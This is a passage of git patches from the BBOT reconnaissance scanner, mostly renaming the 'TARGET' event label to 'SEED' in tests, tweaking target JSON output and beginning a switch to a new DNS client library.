"[DNS_NAME] \twww.example.com\tTARGET" in line: + if "[DNS_NAME] \twww.example.com\tSEED" in line: dns_success = True assert ip_success and dns_success, "IP_ADDRESS and/or DNS_NAME are not present in output.txt" diff --git a/bbot/test/test_step_1/test_manager_deduplication.py b/bbot/test/test_step_1/test_manager_deduplication.py index 65fbaeb172..e33d5d8b6d 100644 --- a/bbot/test/test_step_1/test_manager_deduplication.py +++ b/bbot/test/test_step_1/test_manager_deduplication.py @@ -101,7 +101,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes" and e.parent.data == "test.notreal"]) assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"]) assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"]) - assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]]) + assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "accept_dupes.test.notreal:88" and str(e.module) == "everything_module" and e.parent.data == "accept_dupes.test.notreal"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "default_module.test.notreal:88" and str(e.module) == "everything_module" and e.parent.data == "default_module.test.notreal"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "per_domain_only.test.notreal:88" and str(e.module) == "everything_module" and e.parent.data == "per_domain_only.test.notreal"]) @@ -115,7 +115,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes"]) assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"]) assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"]) - assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]]) + assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) assert len(all_events) == 27 assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "accept_dupes.test.notreal" and str(e.module) == "accept_dupes"]) @@ -127,7 +127,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes" and e.parent.data == "test.notreal"]) assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"]) assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"]) - assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]]) + assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.3" and str(e.module) == "A" and e.parent.data == "test.notreal"]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.3" and str(e.module) == "A" and e.parent.data == "default_module.test.notreal"]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.5" and str(e.module) == "A" and e.parent.data == "no_suppress_dupes.test.notreal"]) @@ -147,7 +147,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes"]) assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"]) assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"]) - assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]]) + assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) assert len(accept_dupes) == 10 assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "accept_dupes.test.notreal" and str(e.module) == "accept_dupes"]) @@ -159,7 +159,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes" and e.parent.data == "test.notreal"]) assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"]) assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"]) - assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]]) + assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) assert len(per_hostport_only) == 6 assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "accept_dupes.test.notreal" and str(e.module) == "accept_dupes"]) @@ -167,7 +167,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes"]) assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"]) assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"]) - assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]]) + assert 1 == len([e for e in per_hostport_only if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) assert len(per_domain_only) == 1 - assert 1 == len([e for e in per_domain_only if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]]) + assert 1 == len([e for e in per_domain_only if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index fc06ab6f8a..6c7b0d1890 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -431,9 +431,9 @@ async def handle_event(self, event): "FINDING": 1, } - assert set(scan.stats.module_stats) == {"speculate", "host", "TARGET", "python", "dummy", "dnsresolve"} + assert set(scan.stats.module_stats) == {"speculate", "host", "SEED", "python", "dummy", "dnsresolve"} - target_stats = scan.stats.module_stats["TARGET"] + target_stats = scan.stats.module_stats["SEED"] assert target_stats.produced == {"SCAN": 1, "DNS_NAME": 1} assert target_stats.produced_total == 2 assert target_stats.consumed == {} diff --git a/bbot/test/test_step_1/test_preset_seeds.py b/bbot/test/test_step_1/test_preset_seeds.py new file mode 100644 index 0000000000..e431b26f21 --- /dev/null +++ b/bbot/test/test_step_1/test_preset_seeds.py @@ -0,0 +1,25 @@ +from bbot.scanner.preset import Preset + + +def test_preset_target_and_seeds_default(): + """ + If no explicit seeds are provided, seeds should be copied from target. + """ + preset = Preset("evilcorp.com") + baked = preset.bake() + + target = baked.target + assert set(target.target.inputs) == {"evilcorp.com"} + assert set(target.seeds.inputs) == {"evilcorp.com"} + + +def test_preset_target_and_seeds_explicit_seeds_override(): + """ + If explicit seeds are provided, they should NOT be copied from target. + """ + preset = Preset(target_list=["evilcorp.com"], seeds=["seedonly.evilcorp.com"]) + baked = preset.bake() + + target = baked.target + assert set(target.target.inputs) == {"evilcorp.com"} + assert set(target.seeds.inputs) == {"seedonly.evilcorp.com"} diff --git a/bbot/test/test_step_2/module_tests/test_module_portscan.py b/bbot/test/test_step_2/module_tests/test_module_portscan.py index 2f904e90eb..63f234559c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_portscan.py +++ b/bbot/test/test_step_2/module_tests/test_module_portscan.py @@ -79,13 +79,13 @@ def check(self, module_test, events): assert self.syn_runs >= 1 assert self.ping_runs == 0 assert 1 == len( - [e for e in events if e.type == "DNS_NAME" and e.data == "evilcorp.com" and str(e.module) == "TARGET"] + [e for e in events if e.type == "DNS_NAME" and e.data == "evilcorp.com" and str(e.module) == "SEED"] ) assert 1 == len( - [e for e in events if e.type == "DNS_NAME" and e.data == "www.evilcorp.com" and str(e.module) == "TARGET"] + [e for e in events if e.type == "DNS_NAME" and e.data == "www.evilcorp.com" and str(e.module) == "SEED"] ) assert 1 == len( - [e for e in events if e.type == "DNS_NAME" and e.data == "asdf.evilcorp.net" and str(e.module) == "TARGET"] + [e for e in events if e.type == "DNS_NAME" and e.data == "asdf.evilcorp.net" and str(e.module) == "SEED"] ) assert 1 == len( [ diff --git a/bbot/test/test_step_2/module_tests/test_module_robots.py b/bbot/test/test_step_2/module_tests/test_module_robots.py index 3d9156bb4c..10a4107375 100644 --- a/bbot/test/test_step_2/module_tests/test_module_robots.py +++ b/bbot/test/test_step_2/module_tests/test_module_robots.py @@ -22,7 +22,7 @@ def check(self, module_test, events): for e in events: if e.type == "URL_UNVERIFIED": - if str(e.module) != "TARGET": + if str(e.module) != "SEED": assert "spider-danger" in e.tags, f"{e} doesn't have spider-danger tag" if e.data == "http://127.0.0.1:8888/allow/": allow_bool = True diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index f5be36edf1..4ea02ab697 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -138,7 +138,7 @@ def check(self, module_test, events): for e in events if e.type == "DNS_NAME" and e.data == "www.walmart.cn" - and str(e.module) == "TARGET" + and str(e.module) == "SEED" and e.scope_distance == 0 ] ) @@ -200,7 +200,11 @@ def check(self, module_test, events): for e in events if e.type == "DNS_NAME" and e.data == "walmart.cn" - and str(e.module) == "TARGET" + and str(e.module) == "SEED" + and e.scope_distance == 0 + if e.type == "DNS_NAME" + and e.data == "walmart.cn" + and str(e.module) == "SEED" and e.scope_distance == 0 ] ) From 213f4f13069242f7218aee65aa634579bf922410 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 8 Dec 2025 15:25:20 -0500 Subject: [PATCH 209/912] fix test --- bbot/test/test_step_1/test_preset_seeds.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_1/test_preset_seeds.py b/bbot/test/test_step_1/test_preset_seeds.py index e431b26f21..07d74c2d9c 100644 --- a/bbot/test/test_step_1/test_preset_seeds.py +++ b/bbot/test/test_step_1/test_preset_seeds.py @@ -17,7 +17,7 @@ def test_preset_target_and_seeds_explicit_seeds_override(): """ If explicit seeds are provided, they should NOT be copied from target. """ - preset = Preset(target_list=["evilcorp.com"], seeds=["seedonly.evilcorp.com"]) + preset = Preset("evilcorp.com", seeds=["seedonly.evilcorp.com"]) baked = preset.bake() target = baked.target From 9afe5fa638d69c22c2a63bf2a227e5757d87cf52 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 8 Dec 2025 15:38:12 -0500 Subject: [PATCH 210/912] stupid ai --- bbot/test/test_step_1/test_cli.py | 2 +- .../template_tests/test_template_subdomain_enum.py | 4 ---- 2 files changed, 1 insertion(+), 5 deletions(-) diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index c12a2c5b81..531cc78132 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -368,7 +368,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): result = await cli._main() out, err = capsys.readouterr() assert result is True - assert "[ORG_STUB] evilcorp TARGET" in out + assert "[ORG_STUB] evilcorp\tSEED" in out # activate modules by flag caplog.clear() diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index 4ea02ab697..acb0f731ce 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -202,10 +202,6 @@ def check(self, module_test, events): and e.data == "walmart.cn" and str(e.module) == "SEED" and e.scope_distance == 0 - if e.type == "DNS_NAME" - and e.data == "walmart.cn" - and str(e.module) == "SEED" - and e.scope_distance == 0 ] ) assert 1 == len( From 8e9d8a0692b116171656365450750ac7e200e917 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Mon, 8 Dec 2025 15:41:23 -0500 Subject: [PATCH 211/912] fix test --- .../template_tests/test_template_subdomain_enum.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index 4ea02ab697..acb0f731ce 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -202,10 +202,6 @@ def check(self, module_test, events): and e.data == "walmart.cn" and str(e.module) == "SEED" and e.scope_distance == 0 - if e.type == "DNS_NAME" - and e.data == "walmart.cn" - and str(e.module) == "SEED" - and e.scope_distance == 0 ] ) assert 1 == len( From 7ea47341e98a75cf9251f1e9b88a716235c8962f Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 8 Dec 2025 17:00:13 -0500 Subject: [PATCH 212/912] one more test fix --- bbot/test/test_step_2/module_tests/test_module_csv.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_csv.py b/bbot/test/test_step_2/module_tests/test_module_csv.py index 5a9575372d..206b9301aa 100644 --- a/bbot/test/test_step_2/module_tests/test_module_csv.py +++ b/bbot/test/test_step_2/module_tests/test_module_csv.py @@ -11,5 +11,5 @@ def check(self, module_test, events): with open(csv_file) as f: data = f.read() - assert "blacklanternsecurity.com,127.0.0.5,TARGET" in data + assert "blacklanternsecurity.com,127.0.0.5,SEED" in data assert context_data in data From 31b1dada562ab695eb3acd788337dceb07321337 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 9 Dec 2025 09:41:08 -0500 Subject: [PATCH 213/912] even more tests! --- bbot/test/test_step_2/module_tests/test_module_stdout.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_stdout.py b/bbot/test/test_step_2/module_tests/test_module_stdout.py index 27d8a30594..a77a2a3f89 100644 --- a/bbot/test/test_step_2/module_tests/test_module_stdout.py +++ b/bbot/test/test_step_2/module_tests/test_module_stdout.py @@ -9,7 +9,7 @@ class TestStdout(ModuleTestBase): def check(self, module_test, events): out, err = module_test.capsys.readouterr() assert out.startswith("[SCAN] \tteststdout") - assert "[DNS_NAME] \tblacklanternsecurity.com\tTARGET" in out + assert "[DNS_NAME] \tblacklanternsecurity.com\tSEED" in out class TestStdoutEventTypes(TestStdout): @@ -18,7 +18,7 @@ class TestStdoutEventTypes(TestStdout): def check(self, module_test, events): out, err = module_test.capsys.readouterr() assert len(out.splitlines()) == 1 - assert out.startswith("[DNS_NAME] \tblacklanternsecurity.com\tTARGET") + assert out.startswith("[DNS_NAME] \tblacklanternsecurity.com\tSEED") class TestStdoutEventFields(TestStdout): From 47f51ead351b1ccba1cb862d825eaf7a490aeb6a Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 9 Dec 2025 15:26:27 -0500 Subject: [PATCH 214/912] fix weird bug? --- bbot/core/event/base.py | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 94652a5678..77774388e2 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1890,18 +1890,18 @@ def make_event( event_type = "IP_ADDRESS" data = net.network_address - event_class = globals().get(event_type, DefaultEvent) - return event_class( - data, - event_type=event_type, - parent=parent, - context=context, - module=module, - scan=scan, - tags=tags, - _dummy=dummy, - _internal=internal, - ) + event_class = globals().get(event_type, DefaultEvent) + return event_class( + data, + event_type=event_type, + parent=parent, + context=context, + module=module, + scan=scan, + tags=tags, + _dummy=dummy, + _internal=internal, + ) def event_from_json(j): From a5bea75f7a9ff8c77512cce06c4bd7b9e4b56050 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 9 Dec 2025 16:22:16 -0500 Subject: [PATCH 215/912] fix test --- bbot/test/test_step_2/module_tests/test_module_excavate.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 5ebec86183..3254e55c35 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -212,7 +212,7 @@ def check(self, module_test, events): ] ) found_badsecrets_vulnerability = bool( - [e for e in events if e.type == "VULNERABILITY" and str(e.module) == "badsecrets"] + [e for e in events if e.type == "FINDING" and str(e.module) == "badsecrets"] ) assert found_js_url_event, "Failed to find URL event for script.js" From ba800ebe2e2584fcee639acf5881c3f5cd0f3c1c Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 9 Dec 2025 16:41:04 -0500 Subject: [PATCH 216/912] make test less fragile --- bbot/test/test_step_1/test_cli.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index c663810289..778ef6f34b 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -158,11 +158,11 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): print(out) # parse YAML output preset = yaml.safe_load(out) - assert preset == { - "description": "depstest", - "scan_name": "depstest", - "config": {"deps": {"behavior": "retry_failed"}}, - } + # description and scan_name should reflect the CLI name + assert preset["description"] == "depstest" + assert preset["scan_name"] == "depstest" + # deps behavior should be set to retry_failed, but allow other config keys to exist + assert preset.get("config", {}).get("deps") == {"behavior": "retry_failed"} # list modules monkeypatch.setattr("sys.argv", ["bbot", "--list-modules"]) From b2d9fb4be54b58b112c3ac0cfb914aa4c2cd391f Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 9 Dec 2025 17:53:38 -0500 Subject: [PATCH 217/912] fix oops --- bbot/test/test_step_2/module_tests/test_module_excavate.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index dad6e0b371..9e18aa9268 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -211,13 +211,7 @@ def check(self, module_test, events): if e.type == "FINDING" and "JWT" in e.data["description"] and str(e.module) == "excavate" ] ) -<<<<<<< HEAD found_badsecrets_finding = bool([e for e in events if e.type == "FINDING" and str(e.module) == "badsecrets"]) -======= - found_badsecrets_vulnerability = bool( - [e for e in events if e.type == "FINDING" and str(e.module) == "badsecrets"] - ) ->>>>>>> multiprocess-fix assert found_js_url_event, "Failed to find URL event for script.js" assert found_badsecrets_finding, "Failed to find BADSECRETs finding from script.js" From 7267d2b231931690f592159cb549b47a2caddca9 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Wed, 10 Dec 2025 17:09:17 -0500 Subject: [PATCH 218/912] json tweak --- bbot/scanner/target.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 54ebb9edc8..6346728d45 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -254,8 +254,7 @@ def __init__(self, seeds=None, target=None, blacklist=None, strict_dns_scope=Fal @property def json(self): - return { - "seeds": (None if self._orig_seeds is None else sorted(self.seeds.inputs)), + j = { "target": sorted(self.target.inputs), "blacklist": sorted(self.blacklist.inputs), "strict_dns_scope": self.strict_dns_scope, @@ -265,6 +264,9 @@ def json(self): "blacklist_hash": self.blacklist.hash.hex(), "scope_hash": self.scope_hash.hex(), } + if self._orig_seeds is not None: + j["seeds"] = sorted(self.seeds.inputs) + return j @property def hash(self): From 898496629dbf5a8acdc18b61f5bc6d848b8219d4 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Thu, 11 Dec 2025 14:43:07 -0500 Subject: [PATCH 219/912] fix tests --- bbot/test/test_step_1/test_scan.py | 2 +- bbot/test/test_step_2/module_tests/test_module_json.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index c74638c15e..a375fc3c3a 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -34,7 +34,7 @@ async def test_scan( assert not scan0.in_scope("test.www.evilcorp.com") assert not scan0.in_scope("www.evilcorp.co.uk") j = scan0.json - assert j["target"]["seeds"] is None, "seeds should not be in target json" + assert not "seeds" in j["target"], "seeds should not be in target json" # Positional arguments become the target assert set(j["target"]["target"]) == {"1.1.1.0", "1.1.1.0/31", "evilcorp.com", "test.evilcorp.com"} # Seeds are backfilled from target when not explicitly set diff --git a/bbot/test/test_step_2/module_tests/test_module_json.py b/bbot/test/test_step_2/module_tests/test_module_json.py index 469b218cdd..61ed7fc1f3 100644 --- a/bbot/test/test_step_2/module_tests/test_module_json.py +++ b/bbot/test/test_step_2/module_tests/test_module_json.py @@ -28,7 +28,7 @@ def check(self, module_test, events): assert scan["id"] == module_test.scan.id assert scan["uuid"] == str(module_test.scan.root_event.uuid) assert scan["parent_uuid"] == str(module_test.scan.root_event.uuid) - assert scan["data_json"]["target"]["seeds"] is None + assert not "seeds" in scan["data_json"]["target"], "seeds should not be in target json" assert scan["data_json"]["target"]["target"] == ["blacklanternsecurity.com"] assert dns_json["data"] == dns_data assert dns_json["id"] == str(dns_event.id) @@ -45,7 +45,7 @@ def check(self, module_test, events): assert scan_reconstructed.data["id"] == module_test.scan.id assert scan_reconstructed.uuid == scan_event.uuid assert scan_reconstructed.parent_uuid == scan_event.uuid - assert scan_reconstructed.data["target"]["seeds"] is None + assert not "seeds" in scan_reconstructed.data["target"], "seeds should not be in target json" assert scan_reconstructed.data["target"]["target"] == ["blacklanternsecurity.com"] assert dns_reconstructed.data == dns_data assert dns_reconstructed.uuid == dns_event.uuid From c11c922b0c67680ba71550b035aed114dbf6061f Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Fri, 2 Jan 2026 15:34:59 -0500 Subject: [PATCH 220/912] blastdns wip --- bbot/core/helpers/dns/dns.py | 85 ++++++++-------- bbot/defaults.yml | 6 +- bbot/test/test_step_1/test_dns.py | 12 +++ poetry.lock | 155 +++++++++++++++++++++++++++++- pyproject.toml | 1 + 5 files changed, 214 insertions(+), 45 deletions(-) diff --git a/bbot/core/helpers/dns/dns.py b/bbot/core/helpers/dns/dns.py index f064edad3b..fd50e6b448 100644 --- a/bbot/core/helpers/dns/dns.py +++ b/bbot/core/helpers/dns/dns.py @@ -6,19 +6,17 @@ from radixtarget import RadixTarget from bbot.errors import DNSError -from bbot.core.engine import EngineClient from bbot.core.helpers.async_helpers import async_cachedmethod from ..misc import clean_dns_record, is_ip, is_domain, is_dns_name +from blastdns import Client, get_system_resolvers + from .engine import DNSEngine log = logging.getLogger("bbot.core.helpers.dns") -class DNSHelper(EngineClient): - SERVER_CLASS = DNSEngine - ERROR_CLASS = DNSError - +class DNSHelper: """Helper class for DNS-related operations within BBOT. This class provides mechanisms for host resolution, wildcard domain detection, event tagging, and more. @@ -31,12 +29,10 @@ class DNSHelper(EngineClient): timeout (int): The timeout value for DNS queries. Defaults to 5 seconds. retries (int): The number of retries for failed DNS queries. Defaults to 1. abort_threshold (int): The threshold for aborting after consecutive failed queries. Defaults to 50. - runaway_limit (int): Maximum allowed distance for consecutive DNS resolutions. Defaults to 5. all_rdtypes (list): A list of DNS record types to be considered during operations. wildcard_ignore (tuple): Domains to be ignored during wildcard detection. wildcard_tests (int): Number of tests to be run for wildcard detection. Defaults to 5. _wildcard_cache (dict): Cache for wildcard detection results. - _dns_cache (LRUCache): Cache for DNS resolution results, limited in size. resolver_file (Path): File containing system's current resolver nameservers. Args: @@ -51,20 +47,27 @@ class DNSHelper(EngineClient): """ def __init__(self, parent_helper): + self.log = logging.getLogger("bbot.core.helpers.dns") self.parent_helper = parent_helper self.config = self.parent_helper.config self.dns_config = self.config.get("dns", {}) engine_debug = self.config.get("engine", {}).get("debug", False) - super().__init__(server_kwargs={"config": self.config}, debug=engine_debug) + # super().__init__(server_kwargs={"config": self.config}, debug=engine_debug) # resolver self.timeout = self.dns_config.get("timeout", 5) - self.resolver = dns.asyncresolver.Resolver() - self.resolver.rotate = True - self.resolver.timeout = self.timeout - self.resolver.lifetime = self.timeout - - self.runaway_limit = self.dns_config.get("runaway_limit", 5) + self.retries = self.dns_config.get("retries", 5) + self.system_resolvers = get_system_resolvers() + self.threads = self.dns_config.get("threads", 5) + self.cache_size = self.dns_config.get("cache_size", 10000) + self.log.debug(f"Starting BlastDNS client with {self.threads} threads per resolver, {self.retries} retries, {self.cache_size} cache size, and {self.timeout} second timeout") + self.blastdns = Client( + resolvers=self.system_resolvers, + request_timeout_ms=self.timeout * 1000, + max_retries=self.retries, + threads_per_resolver=self.threads, + cache_capacity=self.cache_size, + ) # wildcard handling self.wildcard_disable = self.dns_config.get("wildcard_disable", False) @@ -73,8 +76,6 @@ def __init__(self, parent_helper): self.wildcard_ignore.insert(d) # copy the system's current resolvers to a text file for tool use - self.system_resolvers = dns.resolver.Resolver().nameservers - # TODO: DNS server speed test (start in background task) self.resolver_file = self.parent_helper.tempfile(self.system_resolvers, pipe=False) # brute force helper @@ -84,28 +85,28 @@ def __init__(self, parent_helper): self._is_wildcard_domain_cache = LFUCache(maxsize=1000) async def resolve(self, query, **kwargs): - return await self.run_and_return("resolve", query=query, **kwargs) - - async def resolve_raw(self, query, **kwargs): - return await self.run_and_return("resolve_raw", query=query, **kwargs) - - async def resolve_batch(self, queries, **kwargs): - agen = self.run_and_yield("resolve_batch", queries=queries, **kwargs) - while 1: - try: - yield await agen.__anext__() - except (StopAsyncIteration, GeneratorExit): - await agen.aclose() - break - - async def resolve_raw_batch(self, queries): - agen = self.run_and_yield("resolve_raw_batch", queries=queries) - while 1: - try: - yield await agen.__anext__() - except (StopAsyncIteration, GeneratorExit): - await agen.aclose() - break + return await self.blastdns.resolve(query, **kwargs) + + # async def resolve_raw(self, query, **kwargs): + # return await self.run_and_return("resolve_raw", query=query, **kwargs) + + # async def resolve_batch(self, queries, **kwargs): + # agen = self.run_and_yield("resolve_batch", queries=queries, **kwargs) + # while 1: + # try: + # yield await agen.__anext__() + # except (StopAsyncIteration, GeneratorExit): + # await agen.aclose() + # break + + # async def resolve_raw_batch(self, queries): + # agen = self.run_and_yield("resolve_raw_batch", queries=queries) + # while 1: + # try: + # yield await agen.__anext__() + # except (StopAsyncIteration, GeneratorExit): + # await agen.aclose() + # break @property def brute(self): @@ -192,8 +193,8 @@ def _wildcard_prevalidation(self, host): return host - async def _mock_dns(self, mock_data, custom_lookup_fn=None): - from .mock import MockResolver + async def _mock_dns(self, mock_data): + from blastdns import MockClient - self.resolver = MockResolver(mock_data, custom_lookup_fn=custom_lookup_fn) - await self.run_and_return("_mock_dns", mock_data=mock_data, custom_lookup_fn=custom_lookup_fn) + self.resolver = MockClient() + self.resolver.mock_dns(mock_data) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 64614d08e1..a386d9101a 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -32,8 +32,10 @@ dns: disable: false # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records minimal: false - # How many instances of the dns module to run concurrently - threads: 25 + # How many threads to use per resolver (best way to increase speed is to put more resolvers in /etc/resolv.conf) + threads: 5 + # How many 